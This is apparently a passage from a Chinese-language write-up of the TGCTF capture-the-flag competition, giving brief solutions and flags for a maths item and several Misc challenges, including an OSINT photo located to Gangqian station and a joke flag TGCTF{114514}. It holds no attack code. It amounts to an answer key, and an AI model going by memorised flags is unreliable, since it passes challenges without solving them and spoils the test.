扔到sagemath里解有限域一元二次方程就行了
Misc
where it is(osint)
题目说flag形式为TGCTF{右上角轨道到站的站名}
谷歌搜图,定位到港墘站
flag{港墘站}
好运来
我听到了强运的回响,flag是CTFer最喜欢的数字:
TGCTF{114514}
简单签到,关注:”杭师大网安“谢谢喵🐱
关注就发flag()